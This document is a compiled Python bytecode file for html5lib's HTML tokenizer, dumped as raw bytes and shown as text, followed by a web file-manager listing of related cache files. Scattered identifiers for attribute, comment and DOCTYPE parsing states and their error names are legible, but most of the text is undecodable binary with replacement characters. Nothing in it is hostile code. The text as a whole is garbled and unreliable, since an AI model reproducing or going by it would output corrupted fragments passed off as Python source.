���f�%�b�)�!�,��,�,�V�4�S�b�9����$�$�V�,�R�0��3�t�;��O�O�*�*�J�|�4L�,A�,C�D��	:���%�%�'�r)c���URR5nU[;a!URR[S5 gUS:XaURUlgUS:XaUR
5 gU[;a2URSRUS/5 URUlgUS:XaURUlgUS:XaWURR[SS	S
.5 URSRSS/5 URUlgUS;aWURR[SS
S
.5 URSRUS/5 URUlgU[La7URR[SSS
.5 URUlgURSRUS/5 URUlg)NTr]r�r.r9r�r~r+rr,r>rz&invalid-character-after-attribute-namezexpected-end-of-tag-but-got-eof)rrFrr�r	rr{r	r!rGrr�r/rr
rr�s  r'r
�%HTMLTokenizer.afterAttributeNameState�s����{�{���!���?�"��K�K�"�"�?�D�9�6�5�S�[��7�7�D�J�2�1�S�[��!�!�#�.�-�\�
!����f�%�,�,�d�B�Z�8��0�0�D�J�(�'�S�[��6�6�D�J�$�#�X�
��O�O�"�"�J�|�,D�,?�$A�
B����f�%�,�,�h��^�<��0�0�D�J���_�
$��O�O�"�"�J�|�,D�$L�$N�
O����f�%�,�,�d�B�Z�8��0�0�D�J���S�[��O�O�"�"�J�|�,D�$E�$G�
H����D�J��
���f�%�,�,�d�B�Z�8��0�0�D�J�r)c��URR5nU[;a!URR[S5 gUS:XaURUlgUS:Xa-URUlURRU5 gUS:XaURUlgUS:Xa6URR[SSS.5 UR5 gUS	:XaTURR[SS
S.5 URSSS
==S-
ss'URUlgUS;aTURR[SSS.5 URSSS
==U-
ss'URUlgU[La7URR[SSS.5 URUlgURSSS
==U-
ss'URUlg)NTrrWrr�r+z.expected-attribute-value-but-got-right-bracketr,r~rr.rZrr>)r]rX�`z"equals-in-unquoted-attribute-valuez$expected-attribute-value-but-got-eof)rrFrr��attributeValueDoubleQuotedStater�attributeValueUnQuotedStaterM�attributeValueSingleQuotedStater/rGrr{r!r
rr�s  r'r	�'HTMLTokenizer.beforeAttributeValueState�s���{�{���!���?�"��K�K�"�"�?�D�9�:�9�T�\��=�=�D�J�6�5�S�[��9�9�D�J��K�K���d�#�0�/�S�[��=�=�D�J�,�+�S�[��O�O�"�"�J�|�,D�$T�$V�
W��!�!�#�$�#�X�
��O�O�"�"�J�|�,D�,?�$A�
B����f�%�b�)�!�,��8�,��9�9�D�J���_�
$��O�O�"�"�J�|�,D�$H�$J�
K����f�%�b�)�!�,��4�,��9�9�D�J���S�[��O�O�"�"�J�|�,D�$J�$L�
M����D�J��
���f�%�b�)�!�,��4�,��9�9�D�J�r)c��URR5nUS:XaURUlg
US:XaUR	S5 g
US:XaCUR
R
[SSS.5 URSSS	==S
-
ss'g
U[La7UR
R
[SSS.5 URUlg
URSSS	==UURRS5--
ss'g
)NrrWr~r+rr,r.rZrr>z#eof-in-attribute-value-double-quote)rrWr~T�rrF�afterAttributeValueStaterror/rGrr!r
rr�r�s  r'r�-HTMLTokenizer.attributeValueDoubleQuotedState�s���{�{���!���4�<��6�6�D�J���S�[��)�)�#�.���X�
��O�O�"�"�J�|�,D�,?�$A�
B����f�%�b�)�!�,��8�,���S�[��O�O�"�"�J�|�,D�$I�$K�
L����D�J��
���f�%�b�)�!�,�����&�&�'<�=�1>�
>�,�r)c��URR5nUS:XaURUlg
US:XaUR	S5 g
US:XaCUR
R
[SSS.5 URSSS	==S
-
ss'g
U[La7UR
R
[SSS.5 URUlg
URSSS	==UURRS5--
ss'g
)NrrWr~r+rr,r.rZrr>z#eof-in-attribute-value-single-quote)rrWr~Trr�s  r'r�-HTMLTokenizer.attributeValueSingleQuotedState�s���{�{���!���3�;��6�6�D�J���S�[��)�)�#�.���X�
��O�O�"�"�J�|�,D�,?�$A�
B����f�%�b�)�!�,��8�,���S�[��O�O�"�"�J�|�,D�$I�$K�
L����D�J��
���f�%�b�)�!�,�����&�&�';�<�1=�
=�,�r)c	��URR5nU[;aURUlgUS:XaURS5 gUS:XaUR
5 gUS;aCURR[SSS.5 URSSS	==U-
ss'gUS
:XaCURR[SSS.5 URSSS	==S-
ss'gU[La7URR[SS
S.5 URUlgURSSS	==XRR[S5[-5--
ss'g)NrWr�)rrr]rXrr+z0unexpected-character-in-unquoted-attribute-valuer,r.rZrr~rr>z eof-in-attribute-value-no-quotes)rWr�rrr]rXrr~T)rrFrr�rror{r/rGrr!r
rr�rJr�s  r'r�)HTMLTokenizer.attributeValueUnQuotedStates����{�{���!���?�"��6�6�D�J�(�'�S�[��)�)�#�.�$�#�S�[��!�!�#� ��.�
.��O�O�"�"�J�|�,D�$V�$X�
Y����f�%�b�)�!�,��4�,���X�
��O�O�"�"�J�|�,D�,?�$A�
B����f�%�b�)�!�,��8�,���S�[��O�O�"�"�J�|�,D�$F�$H�
I����D�J��
���f�%�b�)�!�,��{�{�7M�7M��G�H�?�Z�8\�1\�
\�,�r)c�&�URR5nU[;aURUlgUS:XaUR5 gUS:XaURUlgU[LaRURR[SSS.5 URRU5 URUlgURR[SSS.5 URRU5 URUlg)Nr�r�r+z$unexpected-EOF-after-attribute-valuer,z*unexpected-character-after-attribute-valueT)
rrFrr�rr{r�r
r/rGrrMrr�s  r'r�&HTMLTokenizer.afterAttributeValueState+s����{�{���!���?�"��6�6�D�J���S�[��!�!�#���S�[��6�6�D�J���S�[��O�O�"�"�J�|�,D�$J�$L�
M��K�K���d�#����D�J��	
�O�O�"�"�J�|�,D�$P�$R�
S��K�K���d�#��6�6�D�J�r)c���URR5nUS:Xa SURS'UR5 gU[LaRUR
R
[SSS.5 URRU5 URUl
gUR
R
[SSS.5 URRU5 URUl
g)Nr�Trur+z#unexpected-EOF-after-solidus-in-tagr,z)unexpected-character-after-solidus-in-tag)rrFr!r{r
r/rGrrMrrr�r�s  r'r��&HTMLTokenizer.selfClosingStartTagState?s����{�{���!���3�;�/3�D���m�,��!�!�#���S�[��O�O�"�"�J�|�,D�$I�$K�
L�
�K�K���d�#����D�J��	
�O�O�"�"�J�|�,D�$O�$Q�
R��K�K���d�#��6�6�D�J�r)c��URRS5nURSS5nURR	[
SUS.5 URR
5 URUlg)Nr�r~r>�Commentr,T)	rr��replacer/rGrrFrrr�s  r'r��HTMLTokenizer.bogusCommentStateQsg���{�{�%�%�c�*���|�|�H�h�/��������	�*�D�9�	;�
	
�������^�^��
�r)c��URR5/nUSS:XaWURURR55 USS:Xa#[SSS.UlUR
UlgGO\USS;aoSnSH9nURURR55 USU;dM7S	n O U(a&[S
SSSSS.UlURUlgO�USS:Xa�URb�URRR(a�URRRSRURRR:waZSnS
H9nURURR55 USU:wdM7S	n O U(aURUlgURR[SSS.5 U(a2URRUR!55 U(aM2UR"Ulg)NrZr�r$r9r,T)�d�D))�o�O�rR�C��t�T��y�Y��p�P��e�EF�Doctype)r-rr�publicId�systemId�correct�[)r-r)�Ar0r?r>r+zexpected-dashes-or-doctype)rrFrGrr!�commentStartStater�doctypeStater�tree�openElements�	namespace�defaultNamespace�cdataSectionStater/rMr1r�)r$rQ�matched�expecteds    r'r��(HTMLTokenizer.markupDeclarationOpenState`s���[�[�%�%�'�(�	��R�=�C�����T�[�[�-�-�/�0���}��#�-7�	�-B�B�$O��!�!�3�3��
��$��r�]�j�
(��G�A��� � ����!1�!1�!3�4��R�=��0�#�G��A��-7�	�-B�-/�15�4�04�%6��!�"�.�.��
��
���m�s�"��k�k�%��k�k���+�+��k�k���+�+�B�/�9�9�T�[�[�=M�=M�=^�=^�^��G�:��� � ����!1�!1�!3�4��R�=�H�,�#�G��	;�
�!�3�3��
�������
�<�(@� <� >�	?���K�K���i�m�m�o�.��i��+�+��
�r)c���URR5nUS:XaURUlgUS:Xa=URR[SSS.5 URS==S-
ss'gUS:Xa\URR[SS	S.5 URRUR5 URUlgU[La\URR[SS
S.5 URRUR5 URUlgURS==U-
ss'URUlg)Nr�r~r+rr,r.r>r��incorrect-comment�eof-in-commentT)rrF�commentStartDashStaterr/rGrr!rr
�commentStater�s  r'r@�HTMLTokenizer.commentStartState�sA���{�{���!���3�;��3�3�D�J�$�#�X�
��O�O�"�"�J�|�,D�,?�$A�
B����f�%��1�%���S�[��O�O�"�"�J�|�,D�$7�$9�
:��O�O�"�"�4�#4�#4�5����D�J���S�[��O�O�"�"�J�|�,D�$4�$6�
7��O�O�"�"�4�#4�#4�5����D�J��
���f�%��-�%��*�*�D�J�r)c���URR5nUS:XaURUlgUS:Xa=URR[SSS.5 URS==S-
ss'gUS:Xa\URR[SS	S.5 URRUR5 URUlgU[La\URR[SS
S.5 URRUR5 URUlgURS==SU--
ss'URUlg)Nr�r~r+rr,r.�-�r�rKrLT)rrF�commentEndStaterr/rGrr!rr
rNr�s  r'rM�#HTMLTokenizer.commentStartDashState�sE���{�{���!���3�;��-�-�D�J�$�#�X�
��O�O�"�"�J�|�,D�,?�$A�
B����f�%��2�%���S�[��O�O�"�"�J�|�,D�$7�$9�
:��O�O�"�"�4�#4�#4�5����D�J���S�[��O�O�"�"�J�|�,D�$4�$6�
7��O�O�"�"�4�#4�#4�5����D�J��
���f�%��t��3�%��*�*�D�J�r)c��URR5nUS:XaURUlg
US:Xa=URR[SSS.5 URS==S-
ss'g
U[La\URR[SSS.5 URRUR5 URUlg
URS==UURRS	5--
ss'g
)Nr�r~r+rr,r.r>rL)r�r~T)rrF�commentEndDashStaterr/rGrr!r
rr�r�s  r'rN�HTMLTokenizer.commentState�s����{�{���!���3�;��1�1�D�J���X�
��O�O�"�"�J�|�,D�,?�$A�
B����f�%��1�%���S�[��O�O�"�"�J�|�,D�,<�$>�
?��O�O�"�"�4�#4�#4�5����D�J��
���f�%�����&�&��7�*8�
8�%�r)c�0�URR5nUS:XaURUlg	US:XaNURR[SSS.5 URS==S-
ss'URUlg	U[La\URR[SSS.5 URRUR5 URUlg	URS==SU--
ss'URUlg	)
Nr�r~r+rr,r.rQzeof-in-comment-end-dashT)rrFrRrr/rGrr!rNr
rr�s  r'rU�!HTMLTokenizer.commentEndDashState�s���{�{���!���3�;��-�-�D�J���X�
��O�O�"�"�J�|�,D�,?�$A�
B����f�%��2�%��*�*�D�J���S�[��O�O�"�"�J�|�,D�$=�$?�
@��O�O�"�"�4�#4�#4�5����D�J��
���f�%��t��3�%��*�*�D�J�r)c���URR5nUS:Xa7URRUR5 UR
UlgUS:XaNURR[SSS.5 URS==S-
ss'URUlgUS:Xa7URR[SS	S.5 URUlgUS
:Xa=URR[SSS.5 URS==U-
ss'gU[La\URR[SSS.5 URRUR5 UR
UlgURR[SS
S.5 URS==SU--
ss'URUlg)Nr�r~r+rr,r.u--�r�z,unexpected-bang-after-double-dash-in-commentr�z,unexpected-dash-after-double-dash-in-commentzeof-in-comment-double-dashzunexpected-char-in-commentz--T)rrFr/rGr!rrrrN�commentEndBangStater
r�s  r'rR�HTMLTokenizer.commentEndState�s����{�{���!���3�;��O�O�"�"�4�#4�#4�5����D�J�2�1�X�
��O�O�"�"�J�|�,D�,?�$A�
B����f�%��3�%��*�*�D�J�(�'�S�[��O�O�"�"�J�|�,D�$R�$T�
U��1�1�D�J� ��S�[��O�O�"�"�J�|�,D�$R�$T�
U����f�%��-�%���S�[��O�O�"�"�J�|�,D�$@�$B�
C��O�O�"�"�4�#4�#4�5����D�J��	
�O�O�"�"�J�|�,D�$@�$B�
C����f�%����4�%��*�*�D�J�r)c���URR5nUS:Xa7URRUR5 UR
UlgUS:Xa)URS==S-
ss'URUlgUS:XaNURR[SSS.5 URS==S	-
ss'URUlgU[La\URR[SS
S.5 URRUR5 UR
UlgURS==SU--
ss'URUlg)Nr�r�r.z--!r~r+rr,u--!�zeof-in-comment-end-bang-stateT)rrFr/rGr!rrrUrrNr
r�s  r'rZ�!HTMLTokenizer.commentEndBangState�sI���{�{���!���3�;��O�O�"�"�4�#4�#4�5����D�J�"�!�S�[����f�%��.�%��1�1�D�J���X�
��O�O�"�"�J�|�,D�,?�$A�
B����f�%��4�%��*�*�D�J���S�[��O�O�"�"�J�|�,D�$C�$E�
F��O�O�"�"�4�#4�#4�5����D�J��
���f�%����5�%��*�*�D�J�r)c��URR5nU[;aURUlgU[
LakURR[SSS.5 SURS'URRUR5 URUlgURR[SSS.5 URRU5 URUlg)Nr+�!expected-doctype-name-but-got-eofr,Fr=zneed-space-after-doctypeT)rrFr�beforeDoctypeNameStaterr
r/rGrr!rrMr�s  r'rA�HTMLTokenizer.doctypeStates����{�{���!���?�"��4�4�D�J���S�[��O�O�"�"�J�|�,D�$G�$I�
J�+0�D���i�(��O�O�"�"�4�#4�#4�5����D�J��	
�O�O�"�"�J�|�,D�$>�$@�
A��K�K���d�#��4�4�D�J�r)c���URR5nU[;agUS:XakURR	[
SSS.5 SURS'URR	UR5 URUlgUS:XaFURR	[
SSS.5 S	URS
'URUlgU[LakURR	[
SSS.5 SURS'URR	UR5 URUlgXRS
'URUlg)
Nr�r+z+expected-doctype-name-but-got-right-bracketr,Fr=r~rr>rrr_T)rrFrr/rGrr!rr�doctypeNameStater
r�s  r'r`�$HTMLTokenizer.beforeDoctypeNameState's[���{�{���!���?�"��*�)�S�[��O�O�"�"�J�|�,D�$Q�$S�
T�+0�D���i�(��O�O�"�"�4�#4�#4�5����D�J���X�
��O�O�"�"�J�|�,D�,?�$A�
B�(0�D���f�%��.�.�D�J���S�[��O�O�"�"�J�|�,D�$G�$I�
J�+0�D���i�(��O�O�"�"�4�#4�#4�5����D�J��)-���f�%��.�.�D�J�r)c���URR5nU[;aAURSR	[
5URS'URUlgUS:XafURSR	[
5URS'URRUR5 URUlgUS:XaNURR[SSS.5 URS==S-
ss'URUlgU[La�URR[SSS.5 S	URS
'URSR	[
5URS'URRUR5 URUlgURS==U-
ss'g)Nrrr�r~r+rr,r>zeof-in-doctype-nameFr=T)rrFrr!rvr
�afterDoctypeNameStaterr/rGrrrcr
r�s  r'rc�HTMLTokenizer.doctypeNameStateAs����{�{���!���?�"�(,�(9�(9�&�(A�(K�(K�L\�(]�D���f�%��3�3�D�J�&�%�S�[�(,�(9�(9�&�(A�(K�(K�L\�(]�D���f�%��O�O�"�"�4�#4�#4�5����D�J���X�
��O�O�"�"�J�|�,D�,?�$A�
B����f�%��1�%��.�.�D�J���S�[��O�O�"�"�J�|�,D�$9�$;�
<�+0�D���i�(�(,�(9�(9�&�(A�(K�(K�L\�(]�D���f�%��O�O�"�"�4�#4�#4�5����D�J��
���f�%��-�%�r)c���URR5nU[;agUS:Xa7URR	UR
5 URUlgU[La�SUR
S'URRU5 URR	[SSS.5 URR	UR
5 URUlgUS;aHSnS	H&nURR5nX;dM$Sn O U(aURUlgOMUS
;aGSnSH&nURR5nX;dM$Sn O U(aURUlgURRU5 URR	[SSS
U0S.5 SUR
S'URUlg)Nr�Fr=r+�eof-in-doctyper,r4T))�u�U)�b�B)�l�L)�i�Ir,��s�S)r1rrr.r7)�m�Mz*expected-space-or-right-bracket-in-doctyper.r;)rrFrr/rGr!rrr
rMr�afterDoctypePublicKeywordState�afterDoctypeSystemKeywordState�bogusDoctypeState)r$r.rGrHs    r'rf�#HTMLTokenizer.afterDoctypeNameStateZs����{�{���!���?�"��\�[�S�[��O�O�"�"�4�#4�#4�5����D�J�V�U�S�[�+0�D���i�(��K�K���d�#��O�O�"�"�J�|�,D�$4�$6�
7��O�O�"�"�4�#4�#4�5����D�J�H�E�z�!���!9�H��;�;�+�+�-�D��+�"'���!9��!%�!D�!D�D�J�����#���!9�H��;�;�+�+�-�D��+�"'���!9��!%�!D�!D�D�J��
�K�K���d�#��O�O�"�"�J�|�,D�$P�%+�T�N�$4�
5�,1�D���i�(��/�/�D�J�r)c�`�URR5nU[;aURUlgUS;aRUR
R
[SSS.5 URRU5 URUlgU[LakUR
R
[SSS.5 SURS'UR
R
UR5 URUlgURRU5 URUlg�	N)rrr+�unexpected-char-in-doctyper,riFr=T)rrFr�"beforeDoctypePublicIdentifierStaterr/rGrrMr
r!rr�s  r'rw�,HTMLTokenizer.afterDoctypePublicKeywordState�����{�{���!���?�"��@�@�D�J���Z�
��O�O�"�"�J�|�,D�$@�$B�
C��K�K���d�#��@�@�D�J���S�[��O�O�"�"�J�|�,D�$4�$6�
7�+0�D���i�(��O�O�"�"�4�#4�#4�5����D�J��
�K�K���d�#��@�@�D�J�r)c�@�URR5nU[;ag
US:Xa!SURS'URUlg
US:Xa!SURS'URUlg
US:XakURR[SSS.5 S	URS
'URRUR5 URUlg
U[LakURR[SSS.5 S	URS
'URRUR5 URUlg
URR[SSS.5 S	URS
'URUlg
)Nrr9r;rr�r+�unexpected-end-of-doctyper,Fr=rir}T)
rrFrr!�(doctypePublicIdentifierDoubleQuotedStater�(doctypePublicIdentifierSingleQuotedStater/rGrrr
ryr�s  r'r~�0HTMLTokenizer.beforeDoctypePublicIdentifierState�s����{�{���!���?�"��0�/�T�\�,.�D���j�)��F�F�D�J�*�)�S�[�,.�D���j�)��F�F�D�J�$�#�S�[��O�O�"�"�J�|�,D�$?�$A�
B�+0�D���i�(��O�O�"�"�4�#4�#4�5����D�J���S�[��O�O�"�"�J�|�,D�$4�$6�
7�+0�D���i�(��O�O�"�"�4�#4�#4�5����D�J��	
�O�O�"�"�J�|�,D�$@�$B�
C�+0�D���i�(��/�/�D�J�r)c���URR5nUS:XaURUlg
US:Xa=URR[SSS.5 URS==S-
ss'g
US:XakURR[SS	S.5 S
URS'URRUR5 URUlg
U[LakURR[SSS.5 S
URS'URRUR5 URUlg
URS==U-
ss'g
)Nrr~r+rr,r;r>r�r�Fr=riT�
rrF�!afterDoctypePublicIdentifierStaterr/rGrr!rr
r�s  r'r��6HTMLTokenizer.doctypePublicIdentifierDoubleQuotedState��V���{�{���!���4�<��?�?�D�J�&�%�X�
��O�O�"�"�J�|�,D�,?�$A�
B����j�)�X�5�)���S�[��O�O�"�"�J�|�,D�$?�$A�
B�+0�D���i�(��O�O�"�"�4�#4�#4�5����D�J���S�[��O�O�"�"�J�|�,D�$4�$6�
7�+0�D���i�(��O�O�"�"�4�#4�#4�5����D�J��
���j�)�T�1�)�r)c���URR5nUS:XaURUlg
US:Xa=URR[SSS.5 URS==S-
ss'g
US:XakURR[SS	S.5 S
URS'URRUR5 URUlg
U[LakURR[SSS.5 S
URS'URRUR5 URUlg
URS==U-
ss'g
)Nrr~r+rr,r;r>r�r�Fr=riTr�r�s  r'r��6HTMLTokenizer.doctypePublicIdentifierSingleQuotedState��V���{�{���!���3�;��?�?�D�J�&�%�X�
��O�O�"�"�J�|�,D�,?�$A�
B����j�)�X�5�)���S�[��O�O�"�"�J�|�,D�$?�$A�
B�+0�D���i�(��O�O�"�"�4�#4�#4�5����D�J���S�[��O�O�"�"�J�|�,D�$4�$6�
7�+0�D���i�(��O�O�"�"�4�#4�#4�5����D�J��
���j�)�T�1�)�r)c��URR5nU[;aURUlgUS:Xa7UR
R
UR5 URUlgUS:XaFUR
R
[SSS.5 SURS'URUlgUS:XaFUR
R
[SSS.5 SURS'URUlgU[LakUR
R
[SS	S.5 S
URS'UR
R
UR5 URUlgUR
R
[SSS.5 S
URS'URUlg)
Nr�rr+r}r,r9r<rriFr=T)rrFr�-betweenDoctypePublicAndSystemIdentifiersStaterr/rGr!rr�(doctypeSystemIdentifierDoubleQuotedState�(doctypeSystemIdentifierSingleQuotedStater
ryr�s  r'r��/HTMLTokenizer.afterDoctypePublicIdentifierState�s����{�{���!���?�"��K�K�D�J�2�1�S�[��O�O�"�"�4�#4�#4�5����D�J�,�+�S�[��O�O�"�"�J�|�,D�$@�$B�
C�,.�D���j�)��F�F�D�J�"�!�S�[��O�O�"�"�J�|�,D�$@�$B�
C�,.�D���j�)��F�F�D�J���S�[��O�O�"�"�J�|�,D�$4�$6�
7�+0�D���i�(��O�O�"�"�4�#4�#4�5����D�J��	
�O�O�"�"�J�|�,D�$@�$B�
C�+0�D���i�(��/�/�D�J�r)c���URR5nU[;agUS:Xa7URR	UR
5 URUlgUS:Xa!SUR
S'URUlgUS:Xa!SUR
S'URUlgU[:XakURR	[SSS.5 S	UR
S
'URR	UR
5 URUlgURR	[SSS.5 S	UR
S
'URUlg)
Nr�rr9r<rr+rir,Fr=r}T)
rrFrr/rGr!rrr�r�r
rryr�s  r'r��;HTMLTokenizer.betweenDoctypePublicAndSystemIdentifiersStatesR���{�{���!���?�"��*�)�S�[��O�O�"�"�4�#4�#4�5����D�J�$�#�S�[�,.�D���j�)��F�F�D�J���S�[�,.�D���j�)��F�F�D�J���S�[��O�O�"�"�J�|�,D�$4�$6�
7�+0�D���i�(��O�O�"�"�4�#4�#4�5����D�J��	
�O�O�"�"�J�|�,D�$@�$B�
C�+0�D���i�(��/�/�D�J�r)c�`�URR5nU[;aURUlgUS;aRUR
R
[SSS.5 URRU5 URUlgU[LakUR
R
[SSS.5 SURS'UR
R
UR5 URUlgURRU5 URUlgr|)rrFr�"beforeDoctypeSystemIdentifierStaterr/rGrrMr
r!rr�s  r'rx�,HTMLTokenizer.afterDoctypeSystemKeywordState&r�r)c�@�URR5nU[;agUS:Xa!SURS'URUlgUS:Xa!SURS'URUlgUS:XakURR[SSS.5 S	URS
'URRUR5 URUlgU[LakURR[SSS.5 S	URS
'URRUR5 URUlgURR[SSS.5 S	URS
'URUlg)
Nrr9r<rr�r+r}r,Fr=riT)
rrFrr!r�rr�r/rGrrr
ryr�s  r'r��0HTMLTokenizer.beforeDoctypeSystemIdentifierState:s����{�{���!���?�"��0�/�T�\�,.�D���j�)��F�F�D�J�*�)�S�[�,.�D���j�)��F�F�D�J�$�#�S�[��O�O�"�"�J�|�,D�$@�$B�
C�+0�D���i�(��O�O�"�"�4�#4�#4�5����D�J���S�[��O�O�"�"�J�|�,D�$4�$6�
7�+0�D���i�(��O�O�"�"�4�#4�#4�5����D�J��	
�O�O�"�"�J�|�,D�$@�$B�
C�+0�D���i�(��/�/�D�J�r)c���URR5nUS:XaURUlg
US:Xa=URR[SSS.5 URS==S-
ss'g
US:XakURR[SS	S.5 S
URS'URRUR5 URUlg
U[LakURR[SSS.5 S
URS'URRUR5 URUlg
URS==U-
ss'g
)Nrr~r+rr,r<r>r�r�Fr=riT�
rrF�!afterDoctypeSystemIdentifierStaterr/rGrr!rr
r�s  r'r��6HTMLTokenizer.doctypeSystemIdentifierDoubleQuotedStateWr�r)c���URR5nUS:XaURUlg
US:Xa=URR[SSS.5 URS==S-
ss'g
US:XakURR[SS	S.5 S
URS'URRUR5 URUlg
U[LakURR[SSS.5 S
URS'URRUR5 URUlg
URS==U-
ss'g
)Nrr~r+rr,r<r>r�r�Fr=riTr�r�s  r'r��6HTMLTokenizer.doctypeSystemIdentifierSingleQuotedStateor�r)c��URR5nU[;agUS:Xa7URR	UR
5 URUlgU[LakURR	[SSS.5 SUR
S'URR	UR
5 URUlgURR	[SSS.5 URUlg)	Nr�r+rir,Fr=r}T)rrFrr/rGr!rrr
rryr�s  r'r��/HTMLTokenizer.afterDoctypeSystemIdentifierState�s����{�{���!���?�"����S�[��O�O�"�"�4�#4�#4�5����D�J���S�[��O�O�"�"�J�|�,D�$4�$6�
7�+0�D���i�(��O�O�"�"�4�#4�#4�5����D�J�
�
�O�O�"�"�J�|�,D�$@�$B�
C��/�/�D�J�r)c�j�URR5nUS:Xa7URRUR5 UR
UlgU[LaRURRU5 URRUR5 UR
Ulgg)Nr�T)	rrFr/rGr!rrr
rMr�s  r'ry�HTMLTokenizer.bogusDoctypeState�s����{�{���!���3�;��O�O�"�"�4�#4�#4�5����D�J���S�[��K�K���d�#��O�O�"�"�4�#4�#4�5����D�J��
�r)c��/nURURRS55 URURRS55 URR5nU[:XaO3US:XdeUSSSS:XaUSSSUS'OURU5 M�SRU5nUR
S5nUS	:�aI[U5H(nURR[S
SS.5 M* URSS
5nU(a%URR[SUS.5 URUlg)NT�]r�rZ���z]]r9r~rr+rr,r>r_)
rGrr�rFr
rI�count�ranger/rr%rr)r$r.rF�	nullCountr
s     r'rF�HTMLTokenizer.cdataSectionState�s;������K�K����.�.�s�3�4��K�K����.�.�s�3�4��;�;�#�#�%�D��s�{���s�{�"�{���8�B�C�=�D�(�#�B�x���}�D��H���K�K��%���w�w�t�}���J�J�x�(�	��q�=��9�%�����&�&�
�<�0H�0C�(E�F�&��<�<��(�3�D���O�O�"�"�J�|�,D�,0�$2�
3��^�^��
�r))	r!r rrrrrr�r/)Nr)P�__name__�
__module__�__qualname__�__firstlineno__�__doc__r#r4rTrlror{rr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rr
r	rrrrr�r�r�r@rMrNrUrRrZrAr`rcrfrwr~r�r�r�r�rxr�r�r�r�ryrF�__static_attributes__�
__classcell__)r&s@r'rrs����
�
.�0� F�PNT�`H�
$�8�:�
�:�
�$�$
�!�F�0�,	�	��8	�	��8�	��8���(�(�,
�	��8� �*�.�2	�� �<4�l�@ �D�&�&�2�(�$
�+�Z�.�.�$�&�>�.�"�4�21�f�(�:�0�0�<�4�(�:�0�0�&��r)rN)�collectionsrr�sysr�	constantsrrr	r
rrr
rrr�_inputstreamr�_trierr`�dictrwr�r)r'�<module>r�sM��*��&��5�-�-�0�,�)���H�~���6���L��L�l�lr)

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 1.14 KB 0644
_ihatexml.cpython-313.pyc File 17.33 KB 0644
_inputstream.cpython-313.pyc File 35.06 KB 0644
_tokenizer.cpython-313.pyc File 85.99 KB 0644
_utils.cpython-313.pyc File 5.75 KB 0644
constants.cpython-313.pyc File 114.68 KB 0644
html5parser.cpython-313.pyc File 146.51 KB 0644
serializer.cpython-313.pyc File 15.33 KB 0644
Filemanager